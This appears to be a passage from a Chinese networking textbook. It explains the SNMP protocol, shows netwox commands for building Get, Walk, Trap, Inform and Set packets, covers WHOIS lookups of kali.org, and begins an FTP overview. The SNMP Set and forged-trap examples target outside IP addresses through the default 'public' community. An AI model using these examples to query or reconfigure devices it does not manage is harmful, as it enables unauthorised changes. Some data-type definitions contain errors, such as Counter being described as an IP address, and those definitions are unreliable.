SNMP协议能够帮助网络管理员提高网络管理效率,及时发现和解决网络问题,对网络增长做好规划。网络管理员还可以通过SNMP协议,接收网络节点的通知消息和警告事件报告等,从而获知网络出现的问题。

SNMP目前共有3个版本,分别为v1、v2和v3,说明如下:

  • SNMP v1:是SNMP协议的最初版本,在1988年被制定,并被Internet体系结构委员会(IAB)采纳作为一个短期的网络管理解决方案。
  • SNMP v2:是1992年发布的SNMP的第二个版本。它修订了第一版,并且在性能、安全、机密性和管理者之间通信等方面进行了大量改进。
  • SNMP v3:是目前最新的版本。它是2004年制定的,协议编号为RFC3411-RFC3418(STD0062)。它为提升协议的安全性,增加了认证和密文传输功能。

2. SNMP架构组成

SNMP的架构由3部分组成,分别为社区、网络管理站和节点,如图所示。

社区、网络管理站和节点说明如下:

  • 社区:同一个管理框架下的网络管理站和所有节点的集合。
  • 网络管理站:一个管理控制台,也称为网络管理系统(NetworkManagement System,NMS)。它是一台带有必要SNMP管理软件的普通计算机,主要用来管理与监控网络上的设备。
  • 节点:网络上的设备(被管理的设备)。例如,图11.1中的路由器、网关等都是节点设备。 

3. 工作原理

SNMP可以用来发现、查询和监视网络中其他设备的状态信息。其工作流程如图所示。

上图中展现了管理员通过NMS获取网关监控数据的工作流程,其中涉及了一些SNMP协议的关键信息。

为了方便理解,下面先介绍这些信息的作用及含义。

  • MIB(管理信息库):任何一个被管理的设备都表示成一个对象,并称为被管理的对象。而MIB就是被管理对象的集合。它定义了被管理对象的一系列属性,如对象的名称、对象的访问权限和对象的数据类型等。每个设备都有自己的MIB。MIB是一种树状数据库,MIB管理、的对象,就是树的端节点,每个节点都有唯一位置和唯一名字。
  • SNMP代理:是一种嵌入在被管理设备中的网络管理软件模块,主要用来控制本地机器的管理信息。它还负责将管理信息转换成SNMP兼容的格式,传递给NMS。

图中所示的工作流程分为以下4个步骤:

  1. 当管理员查询被管理设备中的对象的相关值时,首先通过网络管理站NMS中的MIB找到相关对象。
  2. 网络管理站NMS向SNMP代理申请MIB中定义对象的相关值。
  3. SNMP代理在自己的MIB库中进行查找。
  4. SNMP代理将找到的对象相关值返回给网络管理站NMS。

4. 通信方式

SNMP采用特殊的客户机/服务器模式进行通信。这里的客户端指的是网络管理站NMS,服务器指的是SNMP代理。实际上它们的通信方式是网络管理站NMS与SNMP代理之间的通信,如图所示。

图中的通信方式分为请求与应答两个步骤:

  1. 网络管理站NMS向SNMP代理发出请求,询问一个MIB定义的信息的参数值。
  2. SNMP代理收到请求后,返回关于MIB定义信息的各种查询。

5. 操作类型

SNMP协议用来管理管理站NMS与SNMP代理之间的信息交互。因此,它提供了多种操作类型。常用的6种操作类型如图所示。

图中为5种信息交互形式的操作类型,一共有6种操作类型,每种操作类型含义如下:

  • get-request:网络管理站NMS从SNMP代理处提取一个或多个参数值。
  • get-response:返回一个或多个参数的值。
  • get-next-request:网络管理站NMS从SNMP代理处提取一个或多个参数的下一个参数值。
  • set-request:网络管理站NMS设置SNMP代理处MIB的相关参数值。
  • trap:SNMP代理主动向网络管理站NMS发送报文消息。
  • informRequest:SNMP代理主动向网络管理站NMS发送报文消息,NMS进行响应。

6. 信息格式

通过前面的学习我们知道,MIB是一个信息管理库,在该库中包含了大量的对象,这些对象有自己唯一的位置和名字。那么它们是如何进行区分的呢?

1)对象标识符(OID)

管理信息库MIB指明了网络元素所维持的变量,即能够被管理进程查询和设置的信息。MIB给出了网络中所有可能的被管理对象集合的数据结构。SNMP的管理信息库采用和域名系统DNS相似的树形结构,如图所示。

图中所示为管理信息库中的一部分信息。最上面部分为根,没有名字,其余部分都是节点,由一个专用的名字和数字这两部分构成。这些名字不是随便分配的,而是由一些权威组织进行管理和分配的。

图中的每一个节点表示一个被管理的对象,每一个对象都可以从根开始找出一条唯一的路径,这个路径就是对象标识符OID,它是以点“.”进行分隔的整数序列。

例如,对象标识符1.3.6.1.2.1,表示对象iso.org.dod.internet.mgmt.mib。

2)对象下面的分组

在管理信息库MIB中,管理对象下面会被分为若干个组。例如,管理对象mib的分组如图所示。

其中,mib下的分组有system组、interfaces组和at组等。

3)数据类型(值类型)

管理信息库MIB用于收集和储存管理信息(管理对象的状态和统计信息),并且能够使NMS通过SNMP代理查询对象信息或进行设置。而MIS用于定义通过SNMP协议可访问对象的规则,它定义在MIB中使用的数据类型。

常用的数据类型及含义如下:

  • Integer:整数类型,有多种形式。有些整型变量没有范围限制,有些整型变量定义为特定的数值。例如,IP的转发标志只有允许转发或者不允许转发。有些整型变量定义包含特定的范围,如UDP和TCP的端口号从0~65535)。
  • OCTER STRING:0或多个8bit字节,每个字节值在0~255之间。
  • Display String:0或多个8bit字节,但是每个字节必须是ASCII码。在MIB-II中,所有该类型的变量不能超过255个字符,但可以为0个字符。
  • OBJECT IDENTIFIER:对象标识符。
  • NULL:表示相关的变量没有值。例如,在get或get-next操作中,变量的值就是NULL。因为这些值还没有获取。
  • IpAddress:以网络序表示的IP地址。因为它是一个32位的值,所以定义为4个字节。
  • PhysAddress:OCTER STRING类型,代表物理地址。例如,以太网物理地址为6个字节。
  • Counter:以网络序表示的IP地址。它是一个32位的值,被定义为4个字节。
  • Gauge:非负整数,取值范围为0~4294976295(或增或减)。达到最大值后锁定,直到复位。例如,MIB中的tcpCurrEstab就是这种类型,它代表目前在ESTABLISHED或CLOSE_WAIT状态的TCP连接数。
  • TimeTicks:时间计数器,以0.01秒为单位递增,但是不同的变量可以有不同的递增幅度。所以在定义这种类型变量时,必须指定递增幅度。
  • SEQUENCE:用于列表。这一数据类型与大多数程序设计语言中的structure类似。一个SEQUENCE包括0个或多个元素,每一个元素可以是另一个ASN.1数据类型。

7. 报文分析

SNMP协议中提供了多种操作类型,但是它们的报文格式主要分为两种格式。下面详细介绍这两种报文格式。

1)第一种报文格式

在SNMP协议中,操作类型get-request、get-response、get-nextrequest、set-request或informRequest的报文格式基本是相同的。

报文格式如图所示:

 报文中每个字段的含义如下:

  • 版本:版本字段,写入版本字段的是版本号减1。例如,SNMP(即SNMPV1)应写入0。
  • 共同体:字符串形式,作为网络管理站NMS和SNMP代理之间的明文口令,默认为public。
  • PDU类型:SNMP协议的操作类型。值为0,表示get-request操作;值为1,表示get-next-request操作;值为2,表示get-response操作;值为3,表示set-request操作;值为7,表示informRequest操作。
  • 请求标识:管理站NMS设置的一个整数值。SNMP代理在发送getresponse报文时也要返回此请求标识符。
  • 差错状态:整数,由SNMP代理进行标注,指明有错误发生。可用的值及含义如下表所示。
  • 差错索引:当出现noSuchName、badValue或readOnly的错误时,由代理进程在回答时设置的一个整数。该数值指明引起错误的变量在变量列表中的偏移位置。
  • 名称:MIB管理信息库中的OID。
  • 值:OID对应的值。

2)第二种报文格式

在SNMP协议中,trap操作类型的报文格式基本是相同的。

报文格式如图所示:

 报文中每个字段的含义如下:

  • 版本:版本字段。
  • 共同体:作为管理进程和代理进程之间的明文口令,默认为public。
  • PDU类型:SNMP协议的操作类型。这里值为4。
  • 企业:填入trap报文的网络设备的OID。该OID必须在1.3.6.1.4.1的节点上。
  • SNMP代理地址:SNMP代理的IP地址。
  • trap类型:trap类型可用的类型及含义如下表所示。
  • 特定代码:指明代理自定义的时间。
  • 时间戳:指明从代理进程初始化到trap报告的事件发生所经历的时间,单位为10ms。例如,时间戳为1908表明在代理初始化后19080ms发生了该事件。
  • 名称:MIB管理信息库中的OID。
  • 值:OID对应的值。

8. 报文构建 

1)构建SNMP Get请求

Get请求表示网络管理站NMS要从SNMP代理处获取被管理设备上的一个或多个参数值。netwox工具中编号为159的模块可以实现SNMPGet请求功能,它可以向SNMP服务设备发送Get请求,获取指定参数的值。语法格式如下:

netwox -q OID -i IP

其中,-q选项用来指定对象标识符,表示要获取该标识符对应的值;-i选项用来指定SNMP服务地址。

已知支持SNMP协议的远程网络设备地址为199.58.200.68。在主机192.168.59.133上,构建SNMP Get请求,获取该设备上的系统基本信息。

(1)获取系统基本信息,执行命令如下:

root@daxueba:~# netwox 159 -q ".1.3.6.1.2.1.1.1.0" -i 199.58.200.68

命令中的.1.3.6.1.2.1.1.1.0为对象标识符,表示系统基本信息参数位置。获取到的系统基本信息如下:

'Dell Out-of-band SNMP Agent for Remote Access Controller'

以上输出信息显示了远程设备的系统信息,从中可以了解到该设备是戴尔远程访问控制器。

(2)通过抓包可以捕获到对应的请求和响应包。Get请求包如图所示。

上图中,第2个数据包的源IP地址为192.168.59.133,目标IP地址为199.58.200.68,Info列中的基本信息为get-request 1.3.6.1.2.1.1.1.0,表示成功向远程设备发送了SNMP Get请求。第4个数据包为对应的响应包。请求数据包的Simple Network Management Protocol部分显示了Get请求包的报文信息,具体如下: 

Simple Network Management Protocol
version: version-1 (0) #版本,这里值为0,代表SNMP v1
community: public #共同体
data: get-request (0) #PDU类型,这里值为0,表示为Get请求
get-request
request-id: 1330050988 #请求标识
error-status: noError (0) #差错状态,值为0,表示无差错
error-index: 0 #差错索引
variable-bindings: 1 item #变量绑定
1.3.6.1.2.1.1.1.0: Value (Null) #变量名:值,目前值为空,因为
是请求包
Object Name: 1.3.6.1.2.1.1.1.0 (iso.3.6.1.2.1.1.1.0)
#变量名
Value (Null) #值,这里值为空

上述输出信息显示了Get请求包中的字段信息。可以看到请求的变量名为1.3.6.1.2.1.1.1.0,目前变量值为空,使用的请求标识为1330050988。

(3)响应包信息如图所示。

响应包的报文信息如下:

Simple Network Management Protocol
version: version-1 (0)
community: public
data: get-response (2) #PDU类型,这里值为2,表示为响应包
get-response
request-id: 1330050988 #请求标识
error-status: noError (0)
error-index: 0
variable-bindings: 1 item
1.3.6.1.2.1.1.1.0: 44656c6c204f75742d6f662d62616e6420534e4
d50204167...
Object Name: 1.3.6.1.2.1.1.1.0 (iso.3.6.1.2.1.1.1.0)
Value (OctetString): 44656c6c204f75742d6f662d62616e642
0534e4d50204167...
Variable-binding-string: Dell Out-of-band SNMP Agent
for Remote Access Controller

从输出信息中可以看到,请求标识为1330050988与请求包中的请求标识相同,表示是同一次的请求与响应;这里的值类型为OctetString,并且成功返回了要查询的系统基本信息(最后一行)。

2)构建SNMP Walk请求

Walk请求与Get请求类似,实际上是一个Get-next-request请求。区别在于,Walk请求是获取对象标识符在系统树中所处位置的下一个对象标识符,并请求参数值。netwox工具中编号为160的模块实现了SNMPWalk请求功能,它可以向SNMP服务设备发送Walk请求,获取指定对象标识符的下一个对象标识符。

语法格式如下:

netwox -q OID -i IP

其中,-q选项用来指定对象标识符,表示要获取该标识符的下一个对象标识符;-i选项用来指定SNMP服务地址。

已知支持SNMP协议的远程网络设备地址为198.13.107.218。在主机192.168.59.133上构建SNMP Get请求,获取指定标识符的下一个标识符的值。

(1)获取网络接口描述信息,执行命令如下:

root@daxueba:~# netwox 160 -q ".1.3.6.1.2.1.2.2.1.2" -i 198.13.107.218

命令中.1.3.6.1.2.1.2.2.1.2为网络接口描述信息的标识符。

执行命令后输出信息如下:

.1.3.6.1.2.1.2.2.1.2.1: 'LOOPBACK'

以上输出信息显示了下一个标识符,这里为.1.3.6.1.2.1.2.2.1.2.1,并且获取到了对应的值为LOOPBACK。表示网络接口为回环接口。

(2)通过抓包可以看到构建的SNMP Walk请求包和对应的响应包,如图所示。

其中,第18个数据包的源IP地址为192.168.59.133,目标IP地址为198.13.107.218,Info列中的基本信息为get-next-request1.3.6.1.2.1.2.2.1.2。其中,1.3.6.1.2.1.2.2.1.2表示OID,get-next-request表示要获取该OID的下一个OID。 

该数据包的报文信息如下:

Simple Network Management Protocol
version: version-1 (0)
community: public
data: get-next-request (1) #PDU类型,这里值为1,表示为Walk请求
get-next-request
request-id: 222961396
error-status: noError (0)
error-index: 0
variable-bindings: 1 item
1.3.6.1.2.1.2.2.1.2: Value (Null)
Object Name: 1.3.6.1.2.1.2.2.1.2 (iso.3.6.1.2.1.2.2.1.2)
#对象名(变量名)
Value (Null)

从输出信息可以看到,报文中PDU类型为1,请求的变量名为对象标识符1.3.6.1.2.1.2.2.1.2。

(3)捕获到的返回数据包,如图所示。

该数据包为对应的响应包。此时在报文中可以看到,对象名为1.3.6.1.2.1.2.2.1.2.1,该OID是命令中指定的OID的下一个OID。

(4)指定再次向下一个OID发送请求,捕获的数据包如图所示。

从图中的数据包报文中可以看到,对象名为1.3.6.1.2.1.2.2.1.2.1,表示向下一个OID发送了请求。

3)构建SNMP Trap请求

一般情况下,网络管理站NMS向SNMP代理发送请求,获取被管理设备的参数值。然后,SNMP代理将自己在MIB管理信息库中查到的参数值返回给网络管理站NMS。这种方式采用的是Get请求。但是还有一种情况,就是SNMP代理主动向网络管理站NMS发出报文,通知发生了某些事件。该种情况使用的是Trap请求,它可以用来通知故障、连接的中断和恢复、认证失败等消息。由于SNMP版本不同,netwox工具提供了不同的模块,用于构建SNMPv1版本和SNMPv2版本的Trap请求。

(1)构建SNMPv1版本的Trap请求

netwox工具编号为161的模块实现了SNMPv1版本的Trap请求功能,其语法格式如下:

netwox 161 -i IP -r OID -a IP -s Traptype -z timestamp -n OID -t OIDtype -V oidvalue

其中,-i选项用来指定远程主机服务(网络管理站NMS)的地址;-r选项用来指定报文的网络设备的OID(报文中的企业字段);-a选项用来指定SNMP代理的IP地址;-s选项用来指定Trap类型;-z选项用来指定时间戳;-n选项用来指定要告诉网络管理站NMS,发生事情的OID;-t 选项用来指定OID类型;-V选项用来指定OID对应的值。

已知网络管理站NMS地址为182.16.184.190。主机192.168.59.133作为SNMP代理,构建SNMP Trap请求,具体步骤如下:

(1)构建SNMP Get请求,设置企业对象OID为.1.3.6.1.4.1,通知网络管理站NMS,OID.1.3.6.1.2.1.1.1.0对应的值为APC Web/SNMP Management Card。

执行命令如下:

root@daxueba:~# netwox 161 -i "182.16.184.190" -r ".1.3.6.1.4.1.3.1" –a
"192.168.59.133" -s "3" -z "0" -n ".1.3.6.1.2.1.1.1.0" -t "s" -V "APC Web/SNMP
Management Card"

执行命令后没有任何输出信息,但是会成功构建SNMP Trap请求。

(2)通过抓包查看构建的SNMP Trap请求,如图所示。

其中,该数据包的源IP地址为192.168.59.133,目标IP地址为182.16.184.190。Info列显示了trap,表示该数据包为SNMP代理向客户端发送的Trap数据包,是针对SNMPv1版本的。Simple Network Management Protocol部分显示了Trap请求的相关报文信息,具体如下: 

Simple Network Management Protocol
version: version-1 (0)
community: public
data: trap (4) ) #PDU类型,这里值为4,表示为Trap请求
trap
enterprise: 1.3.6.1.4.1.3.1 (iso.3.6.1.4.1.3.1) #企业OID
agent-addr: 192.168.59.133 #代理IP地址
generic-trap: linkUp (3) #Trap类型
specific-trap: 0 #特定代码
time-stamp: 0 #时间戳
variable-bindings: 1 item
1.3.6.1.2.1.1.1.0: 415043205765622f534e4d50204d616e6167656
d656e7420...
Object Name: 1.3.6.1.2.1.1.1.0 (iso.3.6.1.2.1.1.1.0) #OID
Value (OctetString): 415043205765622f534e4d50204d616e616
7656d656e7420...
Variable-binding-string: APC Web/SNMP Management Card

上述输出信息显示了Trap请求的报文信息,如代理IP地址、Trap类型、OID,以及对应的值。

(2)构建SNMPv2版本的Trap请求

netwox工具中编号为162的模块实现了SNMPv2版本的Trap请求功能,其语法格式如下:

netwox 162 -i IP -r OID -z timestamp -n OID -t OIDtype -V oidvalue

其中,-i选项用来指定网络管理站NMS的地址;-r选项用来指定报文中企业字段的OID;-z选项用来指定时间戳;-n选项用来告诉网络管理站NMS,发生事情的OID;-t选项用来指定OID类型;-V选项用来指定OID对应的值。

构建SNMPv2版本的Trap请求。

执行命令如下:

root@daxueba:~# netwox 162 -i "182.16.184.190" -r ".1.3.6.1.4.1.3.1" -z "0" -n ".1.3.6.1.2.1.1.1.0" -t "s" -V "APC Web/SNMP Management Card"

执行命令后没有任何输出信息。通过抓包查看构建的Trap请求,如图所示。

从报文中可以看到,data的值为snmpV2-trap(7),表示PDU类型为SNMPv2版本的Trap请求。

4)构建SNMP Inform请求

Inform请求是SNMP代理检测到设备上有资源消息产生,根据资源消息到MIB中找到对应的OID,并主动向网络管理站NMS发出Inform请求。与Trap请求不同的是,网络管理站NMS收到Inform请求后会给出响应。netwox工具提供编号为163的模块,可以用来构建SNMP Inform请求。

已知网络管理站NMS地址为198.13.107.218,在主机192.168.59.133上构建Inform请求。操作步骤如下:

(1)构建Inform请求,指定OID.1.3.6.1.2.1.1.1.0对应的值为SNMPManagement,执行命令如下:

root@daxueba:~# netwox 163 -i 198.13.107.218 -r ".1.3.6.1.4.1" -z "0" –n
".1.3.6.1.2.1.1.1.0" -t "s" -V "SNMP Management"

执行命令后没有任何输出信息,但是会成功构建Inform请求。

(2)通过抓包验证成功构建的Inform请求,捕获的数据包如图所示。

该数据包的源IP地址为192.168.59.133,目标IP地址为198.13.107.218。Info列显示了informRequest,表示该数据包为SNMP代理向网络管理站NMS发送的Inform请求数据包。在报文中可以看到,data的值为informRequest(6)。

5)构建SNMP Set请求

通过发送Get请求或Walk请求获取远程设备指定参数的值,实际上是获取远程设备中管理信息库MIB指定OID的值。为了方便对远程设备上MIB中的OID值进行管理,用户可以通过Set命令,改变设备的配置或控制设备的运转状态。

netwox工具提供了编号为164的模块,用于构建SNMP Set请求,设置远程设备中MIB中的OID的值。

语法格式如下:

netwox 164 -i IP -n OID -t OIDtype -V oidvalue

其中,-i选项指定远程设备的IP地址,-n选项指定要设置的MIB中OID的值,-t选项指定OID类型;-V选项指定OID对应的值。

已知远程设备的IP地址为182.16.184.190,在主机192.168.59.133上构建SNMP Set请求,设置远程主机MIB中OID.1.3.6.1.2.1.1.1.0的值为Linux snmp 2.6.39#1 SMP PREEMPT。

(1)构建SNMP Set请求,执行命令如下:

root@daxueba:~# netwox 164 -i "182.16.184.190" -n ".1.3.6.1.2.1.1.1.0" –t
"s" -V "Linux snmp 2.6.39 #1 SMP PREEMPT"

执行命令后没有任何输出信息,但是会成功构建SNMP Set请求。

(2)通过抓包查看构建的SNMP Set请求,如图所示。

其中,数据包的源IP地址为192.168.59.133,目标IP地址为182.16.184.190。Info列显示了set-request,表示成功构建了Set请求。在报文中可以看到,OID.1.3.6.1.2.1.1.1.0的值被设置为了Linux snmp 2.6.39#1 SMPPREEMPT。

6、WHOIS协议

WHOIS是用来查询域名或IP所有者信息的传输协议。它可以用来查询域名是否已经被注册,以及注册者的详细信息。

1. 工作流程

WHOIS协议只是规定查询的方式,具体功能还是需要对应的程序来完成。这类程序被称为WHOIS服务。下面详细讲解WHOIS服务的作用以及工作流程。

1)WHOIS服务的作用

WHOIS服务是由注册商和注册局来提供,主要记录了支持的所有域名的信息。它是一个基于“查询/响应”的TCP事务服务,并向客户端提供对应的查询服务。

2)工作流程

WHOIS协议基于TCP协议工作。当客户端发起查询请求时,服务端进行响应。WHOIS协议工作流程如图所示。

在这里,客户端向WHOIS服务器查询域名baidu.com的域名注册信息。

其中,每个步骤介绍如下:

(1)客户端向WHOIS服务器的43端口发送TCP[SYN]数据包,请求建立连接。

(2)服务器返回TCP[SYN,ACK]包,表示可以进行连接。

(3)客户端向服务器发送要查询的信息。这里查询baidu.com的域名注册信息。所以发送域名baidu.com,以回车和换行结尾。

(4)服务器收到客户端的请求包,并查询自己的域名数据库。如果存在相应的记录,将相关信息返回给客户端,如所有者信息。

(5)服务器继续将更多的域名注册信息返回给客户端,如联系方式、邮件地址等。

(6)当服务器将所有的信息都返回给客户端后,将关闭连接。此时,向客户端发送TCP[FIN]数据包。

(7)客户端收到服务器发来的关闭连接数据包,将关闭连接。然后,向服务器发送TCP[FIN]数据包。

2. 获取WHOIS服务器

WHOIS服务器通常由域名注册商和分销商搭建。在域名注册的时候,注册人通常将信息提交给域名注册商或其分销商。因此,用户可以从域名注册商和分销商的WHOIS服务器获取域名的相关注册信息。

1)常用WHOIS服务器

由于注册申请的域名、IP地址用途及作用和种类不同,使用的WHOIS服务器也不同。常用的Internet管理机构的WHOIS服务器如下表所示。 

2)获取WHOIS服务

部分互联网机构只提供域名代理公司信息,不提供域名注册人信息。所以,用户需要到注册代理公司搭建的WHOIS服务器进行查询。这时需要查询域名所属的代理公司WHOIS服务器。netwox工具提供了编号197的模块,可以获取域名的基本注册信息,并猜测其WHOIS服务器。

获取域名kali.org的WHOIS信息,并猜测代理服务商的WHOIS服务器。

执行命令如下:

root@daxueba:~# netwox 197 -q kali.org

输出信息如下:

Using org.whois-servers.net server.
You may have to refine your query using another server (tool 196).
Domain Name: KALI.ORG #请求的域名,这里为kali.org
Registry Domain ID: D88587735-LROR #域名ID
Registrar WHOIS Server: whois.no-ip.com #猜测的WHOIS服务
Registrar URL: http://www.noip.com/whois #注册的URL
Updated Date: 2016-01-02T10:17:21Z #更新时间
Creation Date: 2002-07-20T20:54:27Z #创建时间
Registry Expiry Date: 2025-07-20T20:54:27Z #到期时间
Registrar Registration Expiration Date:
Registrar: Vitalwerks Internet Solutions, LLC DBA No-IP #注册商
Registrar IANA ID: 1327 #IANA ID号
Registrar Abuse Contact Email: abuse@no-ip.com #注册使用的邮件地址
Registrar Abuse Contact Phone: +775.8531883 #注册使用的电话号码
Reseller: #注册人
Domain Status: clientTransferProhibited https://icann.org/epp#client
TransferProhibited
Registrant Organization: #注册人的组织
Registrant State/Province: NV #注册人所在的州/省
Registrant Country: US #注册人所在国家
Name Server: NS3.NO-IP.COM #名称服务器(DNS)
Name Server: NS2.NO-IP.COM
Name Server: NS1.NO-IP.COM
Name Server: NS4.NO-IP.COM
Name Server: NS5.NO-IP.COM
DNSSEC: unsigned
URL of the ICANN Whois Inaccuracy Complaint Form https://www.icann.
org/wicf/)
>>> Last update of WHOIS database: 2018-11-28T10:01:09Z <<<

以上输出信息显示了域名kali.org的基本WHOIS信息。例如,注册商为Vitalwerks Internet Solutions,LLC DBA No-IP,注册使用的邮件地址为abuse@no-ip.com等。但是这些信息只是部分WHOIS信息。输出信息的加粗部分表示,猜测WHOIS服务为whois.no-ip.com。表示从该WHOIS服务器上可以获取到更详细的WHOIS信息。

3. 获取WHOIS信息

注册商的WHOIS服务器往往保留了域名更详细的WHOIS信息。

netwox工具提供了编号196的模块,它可以从指定的WHOIS服务器获取域名WHOIS信息。

已知域名kali.org注册商的WHOIS服务器为whois.noip.com,从该服务器上获取域名kali.org的WHOIS信息。

执行命令如下:

root@daxueba:~# netwox 196 -i "whois.no-ip.com" -q "kali.org"

输出信息如下:

Domain Name: KALI.ORG #请求的域名
Registry Domain ID: D88587735-LROR #域名ID
Registrar WHOIS Server: whois.no-ip.com #最佳的WHOIS服务
Registrar URL: http://www.noip.com/whois/ #注册的URL
Updated Date: 2018-09-26T23:36:52+00:00 #更新时间
Creation Date: 2002-07-20T20:54:27+00:00 #创建时间
Registrar Registration Expiration Date: 2025-07-20T20:54:27+00:00
#到期时间
Registrar: Vitalwerks Internet Solutions, LLC / No-IP.com #注册商
Registrar IANA ID: 1327 #IANA ID号
Registrar Abuse Contact Email: abuse@noip.com #注册使用的邮件地址
Registrar Abuse Contact Phone: +1.7758531883 #注册使用的电话号码
Domain Status: clientTransferProhibited http://www.icann.org/epp#client
TransferProhibited
Registry Registrant ID: NOIP481ff1bc79b0 #注册人ID号
Registrant Name: Registration Privacy, No-IP.com #注册人名称
Registrant Organization: #注册人的组织
Registrant Street: ATTN: kali.org, c/o No-IP.com Registration Privacy
#注册人所在街道
Registrant Street: P.O. Box 19083
Registrant City: Reno #注册人所在城市
Registrant State/Province: NV #注册人所在的州/省
Registrant Postal Code: 89511 #注册人的邮编
Registrant Country: US #注册人所在国家
Registrant Phone: +1.7758531883 #注册人的电话
Registrant FAX: #注册人传真
Registrant Email: c5cfff269b40af09-746968@privacy.no-ip.com
#注册人的邮件地址
Registry Admin ID: NOIP481ff1bc79b0 #管理员的ID号
Admin Name: Registration Privacy, No-IP.com #管理员的名字
Admin Street: ATTN: kali.org, c/o No-IP.com Registration Privacy
#管理员所在街道
Admin Street: P.O. Box 19083
Admin City: Reno #管理员所在城市
Admin State/Province: NV #管理员所在的州/省
Admin Postal Code: 89511 #管理员的邮编
Admin Country: US #管理员所在国家
Admin Phone: +1.7758531883 #管理员的电话
Admin FAX: #管理员传真
Admin Email: c5cfff269b40af09-746968@privacy.no-ip.com #管理员的邮件地址
Registry Tech ID: NOIP481ff1bc79b0 #技术员的ID号
Tech Name: Registration Privacy, No-IP.com #技术员的名字
Tech Organization: #技术员的组织
Tech Street: ATTN: kali.org, c/o No-IP.com Registration Privacy
#技术员所在街道
Tech Street: P.O. Box 19083
Tech City: Reno #技术员所在城市
Tech State/Province: NV #技术员所在的州/省
Tech Postal Code: 89511 #技术员的邮编
Tech Country: US #技术员所在国家
Tech Phone: +1.7758531883 #技术员的电话
Tech FAX: #技术员传真
Tech Email: c5cfff269b40af09-746968@privacy.no-ip.com #技术员的邮件地址
Registry Billing ID: NOIP481ff1bc79b0 #缴费人员 ID
Billing Name: Registration Privacy, No-IP.com #缴费人员名称
Billing Organization: #缴费人员组织
Billing Street: ATTN: kali.org, c/o No-IP.com Registration Privacy
#缴费人员所在街道
Billing Street: P.O. Box 19083
Billing City: Reno #缴费人员所在城市
Billing State/Province: NV #缴费人员所在的州/省
Billing Postal Code: 89511 #缴费人员邮编
Billing Country: US #缴费人员所在国家
Billing Phone: +1.7758531883 #缴费人员电话号码
Billing FAX: #缴费人员的传真
Billing Email: c5cfff269b40af09-746968@privacy.no-ip.com
#缴费人员的邮件地址
Name Server: NS2.NO-IP.COM #名称服务器
Name Server: NS1.NO-IP.COM
Name Server: NS3.NO-IP.COM
Name Server: NS4.NO-IP.COM
Name Server: NS5.NO-IP.COM
DNSSEC: unsigned
URL of the ICANN WHOIS Data Problem Reporting System: http://wdprs.
internic.net/

以上输出信息显示了域名kali.org的WHOIS信息,如注册人、管理员、技术员、交费人员的相关信息。

7、FTP协议

文件传输协议(File Transfer Protocol,FTP)是一种提供网络之间共享文件的协议。它可以在计算机之间可靠、高效地传送文件。在传输时,传输双方的操作系统、磁盘文件系统类型可以不同。

1. FTP协议概述

文件传送协议 FTP (File Transfer Protocol) 是因特网上使用得最广泛的文件传送协议。FTP 提供交互式的访问,允许客户指明文件的类型与格式,并允许文件具有存取权限。FTP 屏蔽了各计算机系统的细节,因而适合于在异构网络中任意计算机之间传送文件。

文件传送协议 FTP 只提供文件传送的一些基本的服务,它使用 TCP 可靠的运输服务,FTP 的主要功能是减少或消除在不同操作系统下处理文件的不兼容性。

FTP 使用客户服务器方式,一个 FTP 服务器进程可同时为多个客户进程提供服务。

FTP 的服务器进程由两大部分组成:一个主进程,负责接受新的请求;另外有若干个从属进程,负责处理单个请求。

工作步骤:

打开熟知端口(端口号为 21),使客户进程能够连接上。

等待客户进程发出连接请求。

启动从属进程来处理客户进程发来的请求。从属进程对客户进程的请求处理完毕后即终止,但从属进程在运行期间根据需要还可能创建其他一些子进程。

回到等待状态,继续接受其他客户进程发来的请求。主进程与从属进程的处理是并发地进行。

控制连接在整个会话期间一直保持打开,FTP 客户发出的传送请求通过控制连接发送给服务器端的控制进程,但控制连接不用来传送文件。

实际用于传输文件的是“数据连接”。服务器端的控制进程在接收到 FTP 客户发送来的文件传输请求后就创建“数据传送进程”和“数据连接”,用来连接客户端和服务器端的数据传送进程。数据传送进程实际完成文件的传送,在传送完毕后关闭“数据传送连接”并结束运行。

当客户进程向服务器进程发出建立连接请求时,要寻找连接服务器进程的熟知端口(21),同时还要告诉服务器进程自己的另一个端口号码,用于建立数据传送连接。接着,服务器进程用自己传送数据的熟知端口(20)与客户进程所提供的端口号码建立数据传送连接。由于 FTP 使用了两个不同的端口号,所以数据连接与控制连接不会发生混乱。

2. FTP服务构成

上述的文件传输,指的是客户端和FTP服务器端之间的文件传输,如文件上传和下载。要实现文件传输还需要满足两个条件,如下:

(1)服务器端必须开启一个TCP端口(默认为21端口),用来监听来自客户端的请求。

(2)客户端连接FTP服务器端,需要使用TCP方式。这样可以保证客户端和服务器之间的会话是可靠的。

客户端与FTP服务器端之间传输一个文件是一次完整的FTP会话。

该会话包含有两个连接,分别为控制连接和数据连接。

其作用如下:

  • 控制连接:客户端向FTP服务器的21端口发送连接,服务器接受连接,建立一条命令通道。FTP的命令和应答就是通过控制连接来传输的,这个连接会存在于整个FTP会话过程中。该连接主要负责将命令从客户端传给服务器,并将服务器的应答返回给客户端。所以,该连接不用于发送数据,只用于传输命令。
  • 数据连接:每当一个文件在客户端与服务器之间进行传输时,就会创建数据连接。该连接主要用来进行文件传输。

3. 数据格式

在使用FTP进行文件传输时,针对不同的文件类型,FTP提供了两种文件传输模式,分别为ASCII和二进制。这两种模式支持的文件如下:

  • ASCII:用于传输简单的文本文件,为默认类型。
  • 二进制:用于传输程序文件、字处理文档、可执行文件或图片。

4. FTP工作流程详解

FTP与大多数Internet服务一样,使用的也是“客户端/服务器”模式。

用户通过一个支持FTP协议的客户机程序,连接在远程主机上的FTP服务器程序。通过在客户端向服务器端发送FTP命令,服务器执行该命令,并将执行结果返回给客户端。由于“控制连接”的因素,客户端发送的FTP命令,服务器都会有对应的应答。

FTP工作流程如图所示:

图中显示了FTP进行文件传输的基本工作流程。主要分为4个阶段,即建立连接阶段、身份认证阶段、命令交互阶段和断开连接阶段。

下面对这4个阶段进行详细介绍:

1)建立连接阶段

该阶段是FTP客户端通过TCP三次握手与FTP服务器端进行建立连接。客户端向FTP服务器发出建立连接请求,FTP服务器对请求进行应答。如果FTP服务器上的21端口是启用的,可以接受来自其他主机的请求,给出应答220,表示服务就绪,即告诉客户端需要的FTP服务已经准备好了。返回应答以后,FTP服务器需要客户端进行身份认证,向客户端发送身份认证请求。

2)身份认证阶段

身份认证是指客户端需要向FTP服务提供登录所需的用户名和密码。FTP服务器对客户端输入的用户名和密码都会给出相应的应答。如果客户端输入的用户名和密码正确,将成功登录FTP服务器,此时进入FTP会话。

3)命令交互阶段

